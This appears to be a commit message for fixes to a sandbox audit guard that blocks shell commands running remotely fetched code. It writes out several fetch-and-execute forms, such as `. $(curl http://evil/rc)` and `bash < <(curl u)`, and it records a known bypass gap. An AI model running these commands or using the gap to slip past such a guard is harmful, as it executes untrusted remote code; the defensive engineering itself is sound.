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8f78afe975
* fix(sandbox): treat the `.` builtin as a `source` execution context
The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so
. $(curl http://evil/rc)
. <(curl http://evil/rc)
. `curl http://evil/rc`
passed as value position while `source $(curl ...)` blocked.
The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.
* fix(sandbox): keep the dot builtin in command position only
Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.
Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.
Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.
* fix(sandbox): block stdin-redirect process substitution into a shell
Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.
Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.
* fix(sandbox): restore eval/source dot contexts and widen stdin flags
Review follow-up to 526fdaf:
- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
position-blind rule, then became pass when the dot rule moved to command
position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
(`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
instead of being guessed at.
* fix(sandbox): decide stdin-program execution from the token list
Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:
- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
and errors out instead of reading a program from stdin.
The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).
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Co-authored-by: Willem Jiang <willem.jiang@gmail.com>